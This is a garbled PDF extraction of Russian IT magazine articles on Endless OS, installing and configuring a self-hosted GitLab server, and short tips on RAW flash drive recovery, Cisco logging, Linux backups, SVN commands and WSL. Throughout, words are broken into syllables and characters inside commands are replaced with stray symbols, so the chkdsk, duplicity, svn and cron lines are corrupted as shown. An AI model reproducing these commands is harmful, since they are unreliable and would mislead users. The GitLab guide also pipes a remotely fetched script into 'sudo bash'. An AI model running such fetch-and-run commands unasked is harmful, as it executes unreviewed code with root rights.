в режиме чте ния‐записи под клю чает ся домаш ний каталог поль зовате ля, раз‐ 
реша ется дос туп к нуж ной фун кци ональ нос ти ОС.
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У каж дого при ложе ния есть файл метадан ных, который опи сыва ет
не толь ко само при ложе ние, но и его раз решения

При ложе ние,  запущен ное  с  помощью  Flatpak,  ока зыва ется  отре зан ным
от  основной  сис темы  и  работа ет  в  сво ем  собс твен ном  окру жении.  Да,  оно
име ет  дос туп,  нап ример,  к  катало гу  /usr,  но  не может  его модифи циро вать.
Оно  не  видит  про цес сы  основной  сис темы,  не  видит  лич ные  фай лы  поль‐ 
зовате лей (по умол чанию), не может работать с железом и не может выб рать‐ 
ся из сво его вир туаль ного окру жения.

Од нако из‐за этих же песоч ниц Flatpak ока зыва ется бес полезен, если речь
идет  о  сис темных  при ложе ниях.  Имен но  поэто му  Endless  OS  раз делена
на две час ти, одна из которых базовая, а вто рая пред став ляет собой набор
при ложе ний фор мата Flatpak, работа ющих в песоч ницах.

ЗАКЛЮЧЕНИЕ
Endless OS не единс твен ная опе раци онка, исполь зующая OSTree для ато мар‐ 
ного обновле ния сис темы. На OSTree пос тро ена ОС для запус ка кон тей неров

,  на  ней  осно ван  ,  сис тема  для  ато мар ного  обновле ния
встра иваемых сис тем, соб ранных с помощью фрей мвор ка  .
Atomic meta‐updater

OpenEmbedded
Но  Endless  OS  —  это,  кажет ся,  единс твен ная  поль зователь ская  ОС,

исполь зующая эту тех нологию. И это единс твен ная ОС, весь сто рон ний софт
для которой уста нав лива ется с исполь зовани ем Flatpak.

Endless OS — это, по сути, демонс тра ция того, каким может быть дис три‐ 
бутив Linux, соз данный исклю читель но для при мене ния на дес кто пах. У него
очень прос той инту итив но понят ный интерфейс, недели мая базовая часть ОС
с  минималь ным  набором  необ ходимо го  соф та.  Ее  очень  лег ко  уста новить
и слож но сло мать при обновле нии, все сто рон ние при ложе ния здесь работа‐ 
ют в песоч ницах и уста нов лены в свои собс твен ные катало ги. Иде аль ный дес‐ 
ктоп для не слиш ком гра мот ного поль зовате ля.

Endless OS занима ет 171‐е мес то в рей тин ге distrowatch.com.•
Вплоть  до  середи ны  2016  года  Endless  OS  рас простра нялась  толь ко
в фор ме исходни ков.

•

Пред ста вите ли  Endless  Mobile  вхо дят  в  над зорный  совет  GNOME
Foundation.

•

Компь ютер Endless Mini стал выбором реак ции на CES 2016.•
Са мый дешевый компь ютер Endless сто ит 79 дол ларов, самый дорогой —
229 дол ларов.

•

mailto:zobnin@glc.ru
https://endlessos.com/
https://github.com/endlessm/eos-updater
https://github.com/flatpak/flatpak
http://www.projectatomic.io/
https://github.com/advancedtelematic/meta-updater
http://www.openembedded.org/wiki/Main_Page
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Се год ня  тяжело  пред ста вить  серь езную  раз работ ку
без исполь зования сис темы кон тро ля вер сий. Тем более что
в  Сети  дос таточ но  сер висов,  пре дос тавля ющих  такую  воз‐ 
можность с боль шим чис лом полез ных допол нений. Но ког да
про ект  раз раста ется,  ста новит ся  оче вид ным,  что  воз‐ 
можнос ти  бес плат ных  акка унтов  силь но  огра ниче ны,  в  пер‐ 
вую оче редь количес тво при ват ных репози тори ев. И хочет ся
боль шего кон тро ля над репози тори ем, ведь код — это все,
что  есть  у  биз неса.  Зна чит,  приш ло  вре мя  раз ворачи вать
свой сер вис.

ПРОЕКТ GITLAB
Нес мотря  на  то  что  Git  уже  боль ше  две над цати  лет,  тол ковых  про ектов,
реали зующих  сер верную  часть,  прак тичес ки  нет.  Конеч но, мож но орга низо‐ 
вать репози торий для хра нения кода с исполь зовани ем стан дар тных инс тру‐ 
мен тов SSH и HTTP плюс уста новить интерфейс GitWeb, средс тво управле ния
акка унта ми Gitolite, но вряд ли пос ле GitHub или Bitbucket он покажет ся фун‐ 
кци ональ ным, а управле ние нес коль кими инс тру мен тами — удоб ным и понят‐ 
ным. Раз работ чики будут бун товать.

  —  решение,  пре дос тавля ющее  воз можнос ти  соз дания  репози‐ 
тория  на  сво ем  сер вере,  не  усту пающие  по  фун кци ям  GitHub.  Интерфейс
даже в чем‐то похож на GitHub, хотя и не сов сем его копиру ет, но все удач ные
наход ки  там  при сутс тву ют. Осно ван  в  2011  году  харь ков чанином Дмит рием
Запорож цем,  который  пытал ся  най ти  ана лог  сер виса  GitHub  с  дос тупны ми
ценами  и  в  ито ге  написал  его  сам.  Решение  быс тро  начало  набирать
популяр ность,  так  как  он  удоб ней  для  коман дной  работы,  а  новые фун кции
появ лялись  пос тоян но,  и  раз работ чики  реаги рова ли  на  пот ребнос ти  поль‐ 
зовате лей. Поз же была обра зова на GitLab  Inc. Анонс в стар тап‐аксе лера тор
Y  Combinator  ока зал ся  удач ным,  и  коман да  получи ла  финан сирова ние.
Сегод ня в про ект инвести рова но более 25 мил лионов дол ларов, а сам Дмит‐ 
рий  Запоро жец  попал  в  Forbes  30  до  30  лет  в  катего рии  Enterprise  Tech.
В ком пании работа ет более 150 раз работ чиков из 37 стран, кро ме того, часть
изме нений  пред лага ет  комь юни ти. GitLab  исполь зует  более  100  тысяч  ком‐ 
паний, в том чис ле NASA, AT&T, IBM, Alibaba, O’Reilly Media.

GitLab

Код  рас простра няет ся  по  MIT‐лицен зии.  В  2013  году  раз работ ка  раз‐ 
делена на две  : для комь юни ти — GitLab CE и для пред при ятий — Git‐
Lab EE. Вто рая впос ледс твии получи ла ряд допол нитель ных фун кций, недос‐ 
тупных в CE, име ет два вари анта — Starter и Premuim. Спра вед ливос ти ради
сле дует отме тить, что некото рые фиш ки из EE со вре менем переко чевы вают
в  CE.  Так  это  слу чилось  с  уче том  вре мени  (Time  Tracking)  и  GitLab  Pages.
Написан  на  Ruby  с  исполь зовани ем  фрей мвор ка  Ruby  on  Rails,  некото рые
час ти на Go.

вер сии

ВОЗМОЖНОСТИ GITLAB
В  пер вую  оче редь  хочет ся  отме тить  про думан ный  дизайн.  Все  прос то  и  на
сво их мес тах. Раз работ чики прис лушива ются к поль зовате лям и, меняя меню
и интерфейс, дела ют GitLab более удоб ным в работе. Интерфейс англий ский,
немец кий и испан ский. В Сети есть попыт ки локали зации, но я ими не поль‐ 
зовал ся.

GitLab под держи вает все основные фун кции, которые мы при вык ли видеть
в GitHub: про екты, отсле жива ние оши бок, зап росы на добав ление кода, кон‐ 
троль за изме нени ями, ревью кода, навига цию по вет кам и тегам, управле ние
дос тупом на осно ве учет ных записей и групп. Груп пы могут быть при ват ные,
внут ренние  (дос тупны  всем  зарегис три рован ным  поль зовате лям)  и  пуб‐ 
личные.  С  релиза  9.0  появи лись  под груп пы,  по  воз можнос тям  не  отли‐ 
чающиеся от групп, но поз воля ющие луч ше орга низо вать про екты в ком пани‐ 
ях  с  боль шим  количес твом  под разде лений  или  про ектов.  Дос тупно
до 20 уров ней вло жен ности. Так же есть Wiki, фун кция пуб ликации неболь ших
бло ков  кода  (Code  Snippets),  гра фики  ком митов  учас тни ков  и  ана лити ка
общей активнос ти репози тория, ана лиз раз личий меж ду вер сиями, визу али‐ 
зация  вет вле ния  репози тория,  веса  задач,  свя зан ные  с  мерж‐рек веста ми,
protected branches и мно гое дру гое.

Глав ная стра ница про екта нас тра иваемая. Здесь мож но ука зывать спи сок
фай лов, текущую активность или, нап ример, README. Есть поиск и филь тры.
Дос ки задач (Issue Boards) поз воля ют кон тро лиро вать задачи на раз ных эта‐ 
пах,  наг лядно  показы вая  ход  работ,  порядок  и  при ори тет  задач  меня ется
прос тым  перетас кивани ем,  сооб щения  о  событи ях  отправ ляют ся  по  email
или  в  чат.  Этим  в  общем  мало  кого  уди вишь.  Некото рые  вещи  (нап ример,
code review) могут показать ся неп ривыч ными, но все работа ет как нуж но, нет
необ ходимос ти ста вить что‐то еще вро де CodeBrag или Gerrit.

GitLab  мож но  интегри ровать  с  Jenkins  CI,  но  сам  GitLab  пре дос тавля ет
боль шой  набор  вся ких  DevOps‐инс тру мен тов  для  раз работ чиков.  С  вер‐ 
сии  8.0  появи лась  неп рерыв ная  интегра ция  CI/CD  (Continuous  Integration  /
Continuous  Delivery)  и  затем  авто мати чес кое  раз верты вание  (auto  deploy),
в  том  чис ле  и  в  Kubernetes,  поз воля ющие  авто мати зиро вать  тес тирова ние,
кон тро лиро вать код, раз ворачи вать при ложе ние. Для акти вации CI дос таточ‐ 
но в корень про екта положить файл  .gitlab‐ci.yml, в котором опи саны задачи
(Job), и GitLab, обна ружив файл, будет выпол нять все инс трук ции. Для запус‐ 
ка сбо рок исполь зует ся Docker. Поз же появи лось гра фичес кое отоб ражение
кон вей еров, события кон вей еров ста ли дос тупны через веб‐хуки, и для хра‐ 
нения  обра зов  мож но  исполь зовать  при ват ные  Docker‐репози тории.  Раз‐ 
верты вание  при ложе ния  в  Kubernetes  отсле жива ется  при  помощи  deploy
boards,  текущее сос тояние отсле жива ется вплоть до пода  (pods), без необ‐ 
ходимос ти  исполь зования  Dashboard  или  команд  Kubernetes.  Для  дос тупа
при  раз верты вании  исполь зуют ся  deploy  keys  с  огра ниче нием  по  дос тупу
к репози торию извне, зак рытые перемен ные хра нят ся в Secret Variables.

С CI/CD тес но свя зана идея ChatOps. GitLab под держи вает опен сор сную
аль тер нативу Slack —  , поз воля ющий вес ти перепис ку в пуб личных
и  при ват ных  каналах,  раз верты вать  при ложе ния  в  окне  чатов,  искать
информа цию, экспор тировать перепис ку.

Mattermost

Для монито рин га GitLab в него интегри рован Prometheus и его ком понент,
поз воля ющий отсле живать сис темные ресур сы Node Exporter. Бла года ря это‐
му  мож но  получать  дан ные  об  исполь зуемых  ресур сах  и  выводить  их,  нап‐ 
ример на Grafana. С вер сии 9.0 монито ринг интегри рован в кон вей еры CI/CD
и  репози торий  исходно го  кода,  дан ные  об  исполь зовании  ресур сов  CPU
и памяти при ложе нием выводят ся пря мо в интерфей се GitLab.

Мо нито ринг GitLab

Сле дует  осо бо  отме тить  API  GitLab,  помога ющий  авто мати зиро вать  задачи
и  управле ние,  под держи вает ся CLI  (gitlab‐*)  и  ,  поз воля ющие
выпол нить сра зу нес коль ко опе раций.

слеш‐коман ды

УСТАНОВКА GITLAB
Нуж но  отдать  дол жное  раз работ чикам:  при  уста нов ке  здесь  не  при дет ся
(если  нет  желания,  конеч но) шаманить  пол дня  с  докумен таци ей  и  исходни‐ 
ками. Необ ходимый минимум для работы получа ем за час. Дос тупны пакеты
Omnibus  GitLab  для  Ubuntu,  Debian,  CentOS  /  Red  Hat  /  Oracle,  OpenSUSE
и  Raspberry  Pi  2.  Этот  вари ант  рекомен дует ся  для  уста нов ки  самими  раз‐ 
работ чиками. Так же есть образ Docker, пакет Helm для Kubernetes, Cookbook
Chef и некото рые дру гие вари анты. Сис темные тре бова ния  , 2 CPU
и 4 Гбайт RAM впол не хва тает для коман ды в 100 человек. А вот мес то луч ше
выб рать  с  запасом,  осо бен но  если  пла ниру ется  исполь зовать  фун кции  CI
и Docker‐репози торий.

не вели ки

В Ubuntu 16.04 нуж но запус тить скрипт, который добавит нуж ный репози‐ 
торий и обно вит спис ки пакетов:

ɛ curl ‐sS httpsśŵŵpackagesŜgitlabŜcomŵinstallŵrepositoriesŵgitlabŵ
gitlab‐ceŵscriptŜdebŜsh Ŷ sudo bash

Для  хра нения  дан ных  под держи вает ся  связ ка  Redis  с  PostgreSQL,  которая
ста вит ся  по  умол чанию. При  необ ходимос ти мож но  исполь зовать  внеш нюю
базу дан ных — MySQL или PostgreSQL.

Ста вим:

ɛ sudo apt install gitlab‐ce 

Это все. GitLab уста нов лен, но не нас тро ен и не запущен. Вна чале тре бует ся
отре дак тировать  файл  /etc/gitlab/gitlab.rb,  пос ле  чего  рекон фигури ровать
коман дой gitlab‐ctl  reconfigure.   внут ри очень мно го — email, бэкап,
под клю чение к внеш ней БД, интегра ция с раз личны ми сер висами, вклю чение
внут ренних  сер висов  и  фун кций  и  так  далее.  Прак тичес ки  все  они  заком‐ 
менти рова ны,  поэто му  прав ка  поч ти  обя затель на.  Все  парамет ры  раз биты
по сек циям, и все тро гать сра зу не нуж но и даже вред но. Если нет готово го
фай ла,  луч ше  вклю чать  парамет ры  пос тепен но,  по  мере  необ ходимос ти.
Часть нас тро ек понят на из опи сания, часть мож но оста вить,  так как исполь‐ 
зуют ся парамет ры по умол чанию и нет смыс ла их пере опре делять. Часть при‐ 
дет ся  по  одно му  подс тра ивать  под  кон крет ную  кон фигура цию,  добива ясь
нуж ного  эффекта  (тут  как  кому  повезет).  Для  начала  дос таточ но  вклю чить
четыре  парамет ра  (если  нуж но,  то  и  нас тро ить  свя зан ные  под пун кты).
Это URL и SSH, по которо му будут обра щать ся поль зовате ли, email и монито‐ 
ринг:

Нас тро ек

ɛ sudo nano ŵetcŵgitlabŵgitlabŜrb
externalɏurl ɐhttpśŵŵgitlabŜexampleŜcomɐ
gitlabɏrailsƃɐgitlabɏsshɏhostɐƄ ʰ ɐgitlabŜexampleŜcomɐ
gitlabɏrailsƃɐgitlabɏemailɏenabledɐƄ ʰ true
gitlabɏmonitorƃɐenableɐƄ ʰ true

Пе рекон фигури руем:

ɛ sudo gitlab‐ctl recon�igure

Кон фигури руем gitlab.rb

Пер вый  раз  кон фигури рова ние  может  занять  нес коль ко  минут.  В  пос леду‐ 
ющем при изме нении парамет ров все будет про исхо дить быс трее. Оце нить,
какие сер висы запуще ны и пор ты откры ты, мож но в выводе reconfigure и при
помощи netstat ‐antp.

ПЕРВЫЙ ПРОЕКТ

Гит лаб уста нов лен и скон фигури рован, мож но начинать

Пе рехо дим  в  бра узе ре  на  стра ницу  и  зада ем  пароль  учет ной  записи.  Неп‐ 
ривыч но,  что  админ ский  логин  здесь  root,  а  не  admin,  как  в  боль шинс тве
веб‐при ложе ний. Пер вая стра ница пред лага ет изме нить внеш ний вид (тема,
Layout,  Default  dashboard  и  прос мотр  про ектов),  соз дать  груп пу  и  про ект.
Собс твен но,  это  все,  что нуж но,  что бы начать работу. При соз дании  груп пы
сле дует ука зать ее URL, наз вание, опи сание и задать нас трой ки при ват ности.
Для  луч шей  визу али зации  при  боль шом  количес тве  сра зу  зада ем  ава тар.
Пос ле  соз дания  груп пы мож но  все  это  изме нить  плюс  задать  уро вень  опо‐ 
веще ния.

Соз даем груп пу

С  про ектом  прак тичес ки  те  же  уста нов ки.  Толь ко  появ ляет ся  воз можность
импорта репози тория с GitHub, Bitbucket, GitLab.com, Git URL (любой репози‐ 
торий,  дос тупный  через  SSH  или  HTTPS)  и  некото рых  дру гих  сер висов.
Для каж дого вари анта понадо бит ся нас тро ить дос туп. Это может быть, нап‐ 
ример, токен (GitLab) или OAuth (Bitbucket, GitLab.com). Пос ле импорта про‐ 
екта в интерфей се будет показа на исто рия ком митов, бран чи, дан ные по кон‐ 
три буто рам, фун кция compare ревизий и так далее. Все выг лядит так, как буд‐ 
то  репози торий  все  вре мя  находил ся  на  этом  сер вере.  Поэто му  пере езд
обыч но  мно го  хло пот  не  дос тавля ет.  Раз работ чикам  прос то  нуж но  будет
изме нить URL для  пуша  в фай ле  .git/config. Пос ле  перено са  уста нов ки  про‐ 
екта мож но изме нить, добавив свое опи сание, теги, уста новив дос туп к фун‐ 
кци ям, добавив Runner для CI‐фун кций.

При соз дании про екта можем сра зу импорти ровать репози торий

Ак тивные  сер висы  Гит лаба,  общая  ста тис тика,  исполь зуемые  ресур сы,
монито ринг, Broadcast messages, сис темные хуки, OAuth‐при ложе ния, deploy
keys, шаб лоны сер висов и некото рые дру гие уста нов ки показы вают ся в 

.  Так же  заходим  в  нас трой ки  сво его  про филя  и  запол няем  дан ные,
для дос тупа к репози тори ям по SSH необ ходимо про писать пуб личный ключ
в SSH Keys.

Admin
Area

Ста тус ком понен тов GitLab

Цен ность любого про екта — его код. Поэто му его потеря — это катас тро фа.
В  слу чае  неш татных  ситу аций  нуж но  иметь  воз можность  быс тро  раз вернуть
копию GitLab на дру гом сер вере. Бэкап соз дает ся при обновле нии, но это го
недос таточ но. Вся кон фигура ция хра нит ся в /etc/gitlab, прос то соз даем cron‐
задание для бэкапа.

ɥ Ƌ Ƌ Ƌ Ƌ root sh ‐c ɐumask ɥɥɮɮŚ tar ‐c�� ɛſdate ɑʫetc‐gitlab‐ʩsŜ
tarŜg�ɑƀ ‐C ŵ etcŵgitlabɐ

Бэ кап дан ных про изво дит ся коман дой gitlab‐rake:

ɛ sudo gitlab‐rake gitlabśbackupścreate

Прос то  ука зыва ем  в  cron  эту  коман ду.  По  умол чанию  фай лы  хра нят ся
в /var/opt/gitlab/backups, но при необ ходимос ти мож но ука зать в gitlab.rb дру‐ 
гое мес то:

gitlabɏrailsƃɐbackupɏpathɐƄ ʰ ɐŵbackupsɐ
ɛ sudo gitlab‐ctl recon�igure

Пос ле бэкапа копию архи вов луч ше сра зу отправ лять на дру гой сер вер.
Кро ме это го, в GitLab 8.5 появил ся Geo, поз воля ющий соз давать зер кала

основно го сер вера, уско ряя дос туп к сер веру из раз ных мест. Это не замена
бэкапа, но хорошая подс тра хов ка.

ВЫВОД
GitLab  готов  к работе. Даль ше потихонь ку  при водим его  к  пожела ниям раз‐ 
работ чиков, меняя нас трой ки в   с пос леду ющим рекон фигури рова‐ 
нием.

gitlabŜrb

mailto:prank.urban@gmail.com
https://gitlab.com/
https://about.gitlab.com/products/
https://about.mattermost.com/
https://docs.gitlab.com/ee/user/project/slash_commands.html
https://docs.gitlab.com/ce/install/requirements.html
https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md
http://gitlab.example.com/admin
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ЧИНИМ ФЛЕШКУ, ПЕРЕШЕДШУЮ В ФОРМАТ RAW

1 Пред ставь, что ты встав ляешь флеш ку в компь ютер и видишь сооб‐ 
щение: «Что бы исполь зовать диск в дис ководе F:, сна чала отформа‐ 
тируй те  его.  Вы  хотите  его  отформа тиро вать?»  Если  это  новая
флеш ка — никаких воп росов, но что, если на ней были дан ные? Тог‐ 
да не торопись сог лашать ся на фор матиро вание — воз можно, есть
шанс их спас ти.

Флеш ка в RAW

Пер вым делом можешь поп робовать рис кнуть и испра вить ошиб ки
средс тва ми Windows.  Для  это го  откры вай  кон соль  от  име ни  адми‐ 
нис тра тора и пиши:

chkdsk �ś ŵ�

Ес тес твен но, f: нуж но будет заменить акту аль ным наз вани ем дис ка.
Параметр /f озна чает исправ ление оши бок во вре мя ска ниро вания.

Ес ли  опе рация  прош ла  успешно,  мож но  про бовать  откры вать
фай лы.  Но  может  быть  и  так,  что  ты  уви дишь  ошиб ку  «Chkdsk
недопус тим  для  дис ков  RAW».  Не  отча ивай ся,  у  нас  в  запасе  есть
еще  пара  вари антов.  Вос поль зуем ся  спе циаль ной  прог раммой

.DMDE
DMDE  —  очень  кру тая  про га,  которая  при годит ся  для  поис ка,

редак тирова ния  и  вос ста нов ления  дан ных  на  дис ках.  Раз работ чик
сооб щает,  что  она  исполь зует  хит рые  алго рит мы,  бла года ря
которым может вос ста новить струк туру дирек торий и фай лы в слож‐
ных слу чаях, ког да дру гие прог раммы не дают нуж ный резуль тат.

В  DMDE  есть  дис ковый  редак тор,  прос той  менед жер  раз делов,
воз можность соз давать обра зы и кло ниро вать дис ки, реконс тру иро‐ 
вать  мас сивы  RAID  и  так  далее.  Плат ные  редак ции  под держи вают
вос ста нов ление фай лов  и  дирек торий  без  огра ниче ний,  но  и  бес‐ 
плат ная вер сия тоже весь ма хороша и во мно гих ситу ациях помога‐ 
ет не хуже.

Пос ле запус ка прог раммы выбира ем наш носитель.

Вы бор носите ля

От кры вает ся  окно  раз делов,  где  мы  по  двой ному  кли ку  выбира ем
пол ное ска ниро вание.

На чина ем ска ниро вание

Пос ле  быс тро го  ска ниро вания  нуж но  перей ти  на  уро вень  выше
в пап ку «Най ден ные» и клик нуть «Все най ден ные + реконс трук ция».
Откро ется  диалог,  где  выбира ем  «Перес каниро вать  текущую  фай‐ 
ловую сис тему» и ждем кон ца опе рации.

Ди алог ска ниро вания

Пос ле  ска ниро вания  DMDE  покажет  спи сок  най ден ных  фай лов.
Прос матри ваем  пап ки  и  выбира ем,  что  вос ста нав ливать.  Целыми
пап ками  в  бес плат ной  вер сии  вос ста нав ливать,  увы,  нель зя.
Для  вос ста нов ления  по  одно му  фай лу  кли каем  пра вой  кноп кой
мыши  и  выбира ем  «Вос ста новить  объ ект»,  затем  ука зыва ем,  куда
вос ста нав ливать, и жмем ОK.

Вос ста нов ление фай лов

Сто ит  отме тить,  что  име на  у  фай лов  генери руют ся  авто мати чес ки
и час то не соот ветс тву ют изна чаль ным. Не удив ляй ся, если какие‐то
фай лы  вый дут  «битыми»,  а  на  фотог рафи ях  появят ся  арте фак ты.
Кста ти, изоб ражения иног да получа ется вос ста новить одной из спе‐ 
циаль ных  ути лит.  К  при меру,  ,    и  « ».
К моему боль шому удив лению, пос ледняя прог рамма вос ста нови ла
прак тичес ки  уби тые  фотог рафии  в  весь ма  хорошем  качес тве  и  с
минимум  арте фак тов  —  мно гие  ее  кон курен ты  с  этим  не  спра‐ 
вились.

Recuva R‐Studio Фо тоДОК ТОР

В  общем,  успе хов  тебе  в  вос ста нов лении!  Но  луч ше,  конеч но,
сра зу  перепи сывать  все  дан ные  с  вре мен ных  носите лей  и  делать
бэкапы.

6 СПОСОБОВ СОБИРАТЬ ЛОГИ МАРШРУТИЗАТОРОВ CISCO

2 Су щес тву ет целых шесть спо собов собирать логи мар шру тиза торов
Cisco.  Каж дый  из  них  —  со  сво ими  осо бен ностя ми  и  фун кци ями.
Что бы  не  путать ся,  рас смот рим  их  все.  И  если  тебе  ког да‐нибудь
встре тит ся подоб ная задача, ты будешь во все ору жии.

1.   Как понят но из наз вания, все события попада‐ 
ют  в  кон соль.  Что бы  их  видеть,  необ ходимо  под клю чить ся  нап‐ 
рямую к устрой ству.

Console logging.

2.    Самый  рас простра нен ный  спо соб.  Все
события пишут ся в опе ратив ную память мар шру тиза тора в соот‐ 
ветс твии с ука зан ными нас трой ками. Один из минусов это го спо‐ 
соба  в  том,  что,  если  событий  очень  мно го,  они  быс тро  запол‐ 
няют  буфер,  а  потом  начина ют  вытес нять ся  новыми.  В  ито ге
при раз боре событий мож но как раз не доис кать ся нуж ных отве‐ 
тов.  К  тому же иног да полез но пос мотреть на  события,  которые
про изош ли пару недель назад, а буфер, увы, их вмес тить не смо‐ 
жет.

Buffered  logging.

3.   Это вари ация на  тему пер вого пун кта, пред‐ 
назна чен ная для уда лен ной работы. При под клю чении через тер‐ 
миналы VTY выпол няешь коман ду   и начина‐ 
ешь ловить уве дом ления от устрой ства.

Terminal logging.

terminal�monitor

4.   Этот вари ант под разуме вает, что у тебя работа ет сер вер
Syslog, который при нима ет и хра нит логи. В этом слу чае их мож но
обра баты вать и смот реть в удо бова римом виде.

Syslog.

5.   Эта схе ма похожа на пре дыду щий пункт. Сетевое
обо рудо вание  отсы лает  пос лания  SNMP,  име нуемые  тра пами,
на сер вер SNMP, где они обра баты вают ся.

SNMP traps.

6.    При  исполь зовании  ААА  мож но  нас тро ить
отправ ку логов на NAS и ана лизи ровать их там.
AAA  accounting.

По мимо  это го,  сущес тву ет  спе циали зиро ван ный  софт,  который
может  при нимать  логи  и  сле дить  за  сос тоянием  устрой ств.  Чаще
все го такие прог раммы работа ют через SNMP traps или Syslog.

КАК И ЧЕМ БЭКАПИТЬ ДАННЫЕ В LINUX

3 Для  бэкапа  в  Linux  мож но  исполь зовать  раз ные  связ ки  прог рамм,
начиная от tar + gz + rsync и самопис ных скрип тов на bash до более
гло баль ных решений вро де bacula/bareos. Давай пос мотрим, какие
есть про межу точ ные вари анты.

Я бы посове товал начать с   и  чте ния 
. Вот для при мера коман да для пол ного бэкапа сер вера:

duplicity статьи о нас трой ке
этой тул зы

duplicity �ull ‐‐excludeʰŵproc ‐‐excludeʰŵsys ‐‐excludeʰŵde� 
‐‐excludeʰŵproc ‐‐excludeʰŵsys ‐‐excludeʰŵmnt ‐‐excludeʰŵ
media ‐‐excludeʰŵtmp ‐‐excludeʰŵ�arŵspool ‐‐excludeʰŵ�arŵ
cache ‐‐excludeʰŵ�arŵtmp ‐‐excludeʰŵswap ŵ �ileśŵŵŵmntŵmydisk
 ‐‐no‐encryption

А вот как извлечь содер жимое бэкапа в пап ку restore:

duplicity ‐‐no‐encryption ‐‐�ile‐to‐restore ŵ �ileśŵŵŵmntŵ
mydisk ŵrestore

В качес тве более прос той аль тер нативы могу пред ложить  ,
которая хоть и усту пает в количес тве фун кций, но тоже весь ма неп‐ 
лоха. Все  самое инте рес ное  лежит  в фай ле  кон фигура ции. Откры‐ 
ваем его:

rsnapshot

sudo nano ŵetcŵrsnapshotŜcon�

И пра вим сле дующие парамет ры:
 — дирек тория, в которой будут лежать сним ки;• snapshot_root
, где xxx — наз вание интерва ла. К при меру, hourly

или daily; yy — количес тво сним ков
• interval xxx yy

По лучит ся  что‐то  вро де    или 
.

inter�al  hourly  ɭ inter�al  daily
ɮ

Для про вер ки нас трой ки выпол ни вот эту край не полез ную коман‐ 
ду:

rsnapshot ‐t hourly

Она  запус тит  тул зу  в  тес товом  режиме  и  будет  выводить  на  экран
спи сок того, что она выпол няет. Но при этом на самом деле никако‐ 
го  бэкапа  она  не  сде лает.  Это  удоб но  для  тес тов.  Для  пер вого
боево го бэкапа нуж но исполь зовать

rsnapshot hourly

Ес ли же ты не хочешь возить ся с кон соль ными ути лита ми, поп робуй
.  Это  ути лита  с  гра фичес ким  интерфей сом,  в  осно ве

которой лежит rsync. Она может выпол нять как бэкап, так и син хро‐ 
низа цию.

luckybackup

Luckybackup

Удобс тво  luckybackup  в  том,  что  не  нуж но  возить ся  с  кон фигами
и  коман дами.  Работа ет  она,  кста ти,  не  хуже  дру гих  и  свою  задачу
выпол няет отлично. В общем, глав ное — делать хоть какой‐то бэкап
и  не  забывать  вре мя  от  вре мени  про верять,  что  выб ранный  тобой
спо соб работа ет.

ШПАРГАЛКА ПО КОМАНДАМ SVN

4 Как извес тно, Subversion, так же извес тная как SVN, — это сво бод ная
цен тра лизо ван ная  сис тема  управле ния  вер сиями.  Сис тема  име ет
огромное количес тво команд, парамет ров и спо собов для управле‐ 
ния репози тори ями. Пре лесть SVN в том, что исполь зовать ее могут
не толь ко раз работ чики, но и люди, весь ма далекие от прог рамми‐ 
рова ния. Перей дем к коман дам.

Пер вым делом — checkout:

s�n co ‐‐username eax httpsśŵŵyoursiteŜruŵs�nŵpro�ectŵ

Ска чива ем пос ледние изме нения:

s�n up

Про веря ем вет ку и сер вер:

s�n in�o

Для прос мотра исто рии изме нений:

s�n up
s�n log Ŷ less

Та же исто рия, но с diff (ана логич но гитов ско му git log ‐p):

s�n log ‐‐di�� Ŷ less

Уз наем, кто, ког да, какие стро ки менял:

s�n blame ‐� testŜtxt

Смот рим незаком мичен ные изме нения:

s�n di��

Ка кие фай лы были добав лены или изме нены:

s�n di�� ‐‐summari�e

Смот рим изме нения в рам ках ревизии, ана логич но git show в Git:
• для прос мотра ком мента риев:

s�n log ‐c ɨ23ɫɬɭ

• для прос мотра изме нений:

s�n di�� ‐c ɨ23ɫɬɭ

Смот рим изме нен ные в ревизии фай лы:

s�n di�� ‐‐summari�e ‐c ɨ23ɫɬɭ

Из менения по срав нению с текущей ревизи ей, ана лог git diff:

s�n di�� ‐r ɨ23ɫɬɭ
s�n di�� ‐‐summari�e ‐r ɨ23ɫɬɭ

При мене ние сох ранен ного в файл diff, ана лог git apply:

patch ‐pɥ ‐i my�ileŜdi��

От менить пос ледние изме нения, ана лог git reset ‐‐hard HEAD:

s�n re�ert ‐‐recursi�e Ŝ

По казать текущее сос тояние репози тория:

s�n status

По лучить спи сок бран чей:

s�n ls httpsśŵŵyoursiteŜruŵs�nŵpro�ectŵ

Соз даем новый бранч или тег:

s�n copy httpsśŵŵyoursiteŜruŵs�nŵpro�ectŵ 
httpsśŵŵyoursiteŜruŵs�nŵpro�ectŵtest‐branch
s�n copy httpsśŵŵyoursiteŜruŵs�nŵpro�ectŵ 
httpsśŵŵyoursiteŜruŵs�nŵpro�ectŵtagsŵɨŜɥ 
‐m ɑRelease ɨŜɥɑ

Мер жим бран чи:

s�n merge httpśŵŵyoursiteŜruŵs�nŵpro�ectŵtest‐branch

Уда ляем бранч:

s�n delete httpśŵŵyoursiteŜruŵs�nŵpro�ectŵtest‐branch 
‐m ɑRemo�ing test‐branchɑ

До бав ляем файл:

s�n add textŜtxt

Пе реиме новы ваем файл:

s�n m� �romŜtxt toŜtxt

Уда ляем файл:

s�n del �ileŜtxt

Бло киру ем или осво бож даем файл, что бы его не мог ли изме нять:

s�n lock �ileŜtxt
s�n unlock �ileŜtxt

Так же  советую  заг лянуть  по    и  ско пиро вать  себе
еще  одну  шпар галку  по  коман дам.  А  тем,  кто  пла ниру ет  работать
с SVN мно го и час то, рекомен дую   об этой сис теме. На рус ский
она переве дена лишь час тично, но разоб рать ся нес ложно.

этой  ссыл ке

кни гу

КАК ПОДНЯТЬ WINDOWS SUBSYSTEM FOR LINUX В WIN-
DOWS 105 Windows  Subsystem  for  Linux  —  это  слой  запус ка  при ложе ний
для  Linux,  который  появил ся  в  Windows  10.  Мы  уже  писали  о  том,
как  это  работа ет,  и  даже  делали  вир туаль ный  дес ктоп,  а  здесь
вкрат це пов торим, как этим поль зовать ся.

WSL — шту ка очень полез ная, и, даже если ты рань ше не был зна‐ 
ком  с  Linux,  рекомен дую  ее  изу чить.  Открыв  кон соль  и  про валив‐ 
шись  в  bash,  ты  получа ешь  дос туп  к  фай ловой  сис теме  Windows
и можешь работать с фай лами. Здесь работа ет менед жер пакетов
APT,  через  который  удоб но  ста вить  огромное  количес тво  ути лит,
да и сами они час то упро щают жизнь.

Сей час в WSL ста ло воз можно исполь зовать Ubuntu 16.04, а так‐ 
же мно гие полез ные вещи. Сре ди них:

ути литы коман дной стро ки apt, sed, grep, awk,  top,  tmux, ssh, scp
и дру гие;

•

